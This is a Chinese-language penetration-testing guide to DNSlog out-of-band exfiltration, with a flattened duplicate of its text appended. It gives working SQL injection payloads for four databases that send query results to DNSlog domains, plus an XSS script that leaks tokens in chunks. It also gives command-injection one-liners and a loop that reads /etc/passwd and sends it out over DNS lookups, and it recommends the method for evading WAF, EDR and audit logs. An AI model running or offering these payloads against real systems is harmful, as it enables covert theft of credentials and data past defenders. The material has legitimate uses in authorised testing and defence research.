DNSlog在漏洞挖掘中的妙用
字数 3017 2025-09-04 23:22:12

DNSlog在漏洞挖掘中的高级应用指南

1. DNS基础概念

1.1 DNS定义与作用

DNS(Domain Name System)是互联网的核心基础设施,主要功能是将域名(如www.example.com)转换为IP地址(如1.1.1.1)。它充当"翻译官"角色,让用户通过易记的域名访问网络资源。

1.2 DNS协议特性

  • 正向解析:域名 → IP地址(最常见)
  • 反向解析:IP地址 → 域名(常用于日志分析、邮件验证等)

1.3 DNS解析流程

  1. 本地解析
    • 检查本地DNS缓存
    • 查阅hosts文件(C:\Windows\System32\drivers\etc\hosts)
  2. DNS服务器解析
    • 查询配置的DNS服务器(如8.8.8.8)
    • 采用分层解析机制(根→TLD→权威DNS)

1.4 DNS服务器层级

  1. 根DNS服务器
    • 全球仅13组(命名为A到M)
    • 不直接解析域名,但知道TLD服务器的位置
  2. TLD服务器
    • 管理特定后缀域名(如.com、.net、.cn)
    • 告知权威DNS服务器的位置
  3. 权威DNS服务器
    • 由域名拥有者设置
    • 提供域名解析的最终答案
  4. 本地DNS服务器
    • 如8.8.8.8或114.114.114.114
    • 递归查询并将结果返回给用户

2. DNSlog原理与优势

2.1 DNSlog定义

DNSlog平台是一个权威DNS服务器+日志记录系统,负责特定域名的解析并记录所有对该域名的DNS请求。

2.2 工作原理

  1. 用户生成随机子域名(如1.CMCCAdmin.eyes.sh)
  2. 递归DNS发起迭代查询(根→TLD→权威DNS)
  3. DNSlog平台捕获请求并记录子域名

2.3 关键优势

  • 绕过HTTP限制:DNS解析发生在HTTP请求之前,即使HTTP被阻断,DNS请求仍可能成功
  • 隐蔽性强:不易被WAF、EDR等安全设备检测
  • 无回显场景适用:适用于盲注、盲RCE等无回显漏洞

3. DNSlog在漏洞挖掘中的应用

3.1 适用场景

  1. 目标存在漏洞但无回显(盲注、盲RCE、XXE等)
  2. 目标禁用HTTP通信/外带(CSP限制、XSS被sandbox等)
  3. 需要绕过日志审计、WAF、EDR

3.2 SQL注入数据外带

3.2.1 多线程环境下的优势

当目标采用多线程异步处理时,传统时间盲注可能失效,DNSlog成为有效解决方案。

3.2.2 各数据库Payload示例

数据库 利用前提 POC(验证外带) 数据外带Payload示例
MySQL 1. Windows系统
2. LOAD_FILE()可用(需secure_file_priv=''且有FILE权限)
SELECT LOAD_FILE('\\\\test.dnslog.cn\\abc'); SELECT LOAD_FILE(CONCAT('\\\\',HEX(@@version),'.dnslog.cn\\x'));
MSSQL 1. SA权限
2. 启用xp_dirtree存储过程
DECLARE @h VARCHAR(50)='\\\\test.dnslog.cn\\abc';
EXEC master..xp_dirtree @h;
DECLARE @h='\\\\'+master.dbo.fn_varbintohexstr(CONVERT(VARBINARY(30),DB_NAME()))+'.dnslog.cn\\x';
EXEC xp_dirtree @h;
Oracle 1. 网络ACL权限
2. 启用UTL_INADDR或UTL_HTTP
SELECT UTL_INADDR.get_host_address('test.dnslog.cn') FROM dual; SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT RAWTOHEX(SYS_CONTEXT('USERENV','CURRENT_USER'))
PostgreSQL 1. 超级用户权限
2. 启用COPY TO PROGRAM(默认禁用)
COPY (SELECT 'test') TO PROGRAM 'ping test.dnslog.cn'; COPY (SELECT '') TO PROGRAM 'nslookup '

3.3 XSS数据外带

当目标站点禁止HTTP外带时,DNSlog成为XSS数据外带的有效方式。

3.3.1 示例Payload

<svg>
<script>
  const token = xxxx; //替换为要外带的字段
  const encodedToken = encodeURIComponent(token);
  const domain = 'xxx.eyes.sh'; //dnslog地址要换自己的
  const maxChunkSize = 60;
  
  for (let i = 0; i < encodedToken.length; i += maxChunkSize) {
    const chunk = encodedToken.substring(i, i + maxChunkSize);
    const url = `http://${i}-${chunk}.${domain}`;
    new Image().src = url;
  }
</script>
</svg>

3.4 RCE命令回显外带

3.4.1 基础命令

ping `whoami`.CMCCAdmin.eyes.sh
host $(whoami).CMCCAdmin.eyes.sh
nslookup $(whoami).CMCCAdmin.eyes.sh

3.4.2 编码传输

host $(id | base64).CMCCAdmin.eyes.sh
host $(whoami | xxd -p -c 256).CMCCAdmin.eyes.sh
nslookup $(whoami | xxd -p -c 256).CMCCAdmin.eyes.sh

3.4.3 分块传输示例

cat /etc/passwd | while read line; do
  echo -n "$line" | xxd -p -c30 | while read hex_chunk; do
    nslookup "${hex_chunk}.CMCCAdmin.eyes.sh"
  done
done

4. DNSlog的局限性及解决方案

4.1 主要限制

  1. 标签长度限制:每个标签(点与点之间的部分)不超过63个字符
  2. 总长度限制:完整域名(FQDN)不超过255个字符

4.2 解决方案:分块传输

对于大数据传输,可采用分块策略:

  1. 将数据分割为多个小段
  2. 每段单独传输
  3. 接收端重组数据

4.3 编码建议

对于特殊字符(#、@、'、"等),应采用编码传输:

  • 十六进制编码(HEX)
  • Base64编码
  • URL编码

5. 实战技巧

5.1 数据外带基本流程

  1. 获取可控的代码执行环境(XSS、命令注入等)
  2. 读取敏感变量(cookie、token、凭据等)
  3. 将数据拼接到DNSlog域名的子域中
  4. 触发解析实现数据外带

5.2 分块传输实现(MySQL示例)

对于大数据查询(如select session from test where id=1),使用concat、substring等函数实现分块传输。

6. 总结

DNSlog作为一种强大的数据外带技术,在多种漏洞挖掘场景中展现出独特优势。掌握其原理和应用方法,能够帮助安全研究人员在受限环境下有效验证和利用漏洞。随着安全防御措施的不断加强,DNSlog技术也将持续演进,成为渗透测试和漏洞挖掘中不可或缺的工具之一。

DNSlog在漏洞挖掘中的高级应用指南 1. DNS基础概念 1.1 DNS定义与作用 DNS(Domain Name System)是互联网的核心基础设施,主要功能是将域名(如www.example.com)转换为IP地址(如1.1.1.1)。它充当"翻译官"角色,让用户通过易记的域名访问网络资源。 1.2 DNS协议特性 正向解析 :域名 → IP地址(最常见) 反向解析 :IP地址 → 域名(常用于日志分析、邮件验证等) 1.3 DNS解析流程 本地解析 : 检查本地DNS缓存 查阅hosts文件(C:\Windows\System32\drivers\etc\hosts) DNS服务器解析 : 查询配置的DNS服务器(如8.8.8.8) 采用分层解析机制(根→TLD→权威DNS) 1.4 DNS服务器层级 根DNS服务器 : 全球仅13组(命名为A到M) 不直接解析域名,但知道TLD服务器的位置 TLD服务器 : 管理特定后缀域名(如.com、.net、.cn) 告知权威DNS服务器的位置 权威DNS服务器 : 由域名拥有者设置 提供域名解析的最终答案 本地DNS服务器 : 如8.8.8.8或114.114.114.114 递归查询并将结果返回给用户 2. DNSlog原理与优势 2.1 DNSlog定义 DNSlog平台是一个 权威DNS服务器+日志记录系统 ,负责特定域名的解析并记录所有对该域名的DNS请求。 2.2 工作原理 用户生成随机子域名(如 1.CMCCAdmin.eyes.sh ) 递归DNS发起迭代查询(根→TLD→权威DNS) DNSlog平台捕获请求并记录子域名 2.3 关键优势 绕过HTTP限制 :DNS解析发生在HTTP请求之前,即使HTTP被阻断,DNS请求仍可能成功 隐蔽性强 :不易被WAF、EDR等安全设备检测 无回显场景适用 :适用于盲注、盲RCE等无回显漏洞 3. DNSlog在漏洞挖掘中的应用 3.1 适用场景 目标存在漏洞但无回显(盲注、盲RCE、XXE等) 目标禁用HTTP通信/外带(CSP限制、XSS被sandbox等) 需要绕过日志审计、WAF、EDR 3.2 SQL注入数据外带 3.2.1 多线程环境下的优势 当目标采用多线程异步处理时,传统时间盲注可能失效,DNSlog成为有效解决方案。 3.2.2 各数据库Payload示例 | 数据库 | 利用前提 | POC(验证外带) | 数据外带Payload示例 | |-----------|--------------------------------------------------------------------------|----------------------------------------------------|------------------------------------------------------------------------------------| | MySQL | 1. Windows系统 2. LOAD_ FILE()可用(需secure_ file_ priv=''且有FILE权限) | SELECT LOAD_FILE('\\\\test.dnslog.cn\\abc'); | SELECT LOAD_FILE(CONCAT('\\\\',HEX(@@version),'.dnslog.cn\\x')); | | MSSQL | 1. SA权限 2. 启用xp_ dirtree存储过程 | DECLARE @h VARCHAR(50)='\\\\test.dnslog.cn\\abc'; EXEC master..xp_dirtree @h; | DECLARE @h='\\\\'+master.dbo.fn_varbintohexstr(CONVERT(VARBINARY(30),DB_NAME()))+'.dnslog.cn\\x'; EXEC xp_dirtree @h; | | Oracle | 1. 网络ACL权限 2. 启用UTL_ INADDR或UTL_ HTTP | SELECT UTL_INADDR.get_host_address('test.dnslog.cn') FROM dual; | SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT RAWTOHEX(SYS_CONTEXT('USERENV','CURRENT_USER')) | | PostgreSQL | 1. 超级用户权限 2. 启用COPY TO PROGRAM(默认禁用) | COPY (SELECT 'test') TO PROGRAM 'ping test.dnslog.cn'; | COPY (SELECT '') TO PROGRAM 'nslookup ' | 3.3 XSS数据外带 当目标站点禁止HTTP外带时,DNSlog成为XSS数据外带的有效方式。 3.3.1 示例Payload 3.4 RCE命令回显外带 3.4.1 基础命令 3.4.2 编码传输 3.4.3 分块传输示例 4. DNSlog的局限性及解决方案 4.1 主要限制 标签长度限制 :每个标签(点与点之间的部分)不超过63个字符 总长度限制 :完整域名(FQDN)不超过255个字符 4.2 解决方案:分块传输 对于大数据传输,可采用分块策略: 将数据分割为多个小段 每段单独传输 接收端重组数据 4.3 编码建议 对于特殊字符(#、@、'、"等),应采用编码传输: 十六进制编码(HEX) Base64编码 URL编码 5. 实战技巧 5.1 数据外带基本流程 获取可控的代码执行环境(XSS、命令注入等) 读取敏感变量(cookie、token、凭据等) 将数据拼接到DNSlog域名的子域中 触发解析实现数据外带 5.2 分块传输实现(MySQL示例) 对于大数据查询(如 select session from test where id=1 ),使用concat、substring等函数实现分块传输。 6. 总结 DNSlog作为一种强大的数据外带技术,在多种漏洞挖掘场景中展现出独特优势。掌握其原理和应用方法,能够帮助安全研究人员在受限环境下有效验证和利用漏洞。随着安全防御措施的不断加强,DNSlog技术也将持续演进,成为渗透测试和漏洞挖掘中不可或缺的工具之一。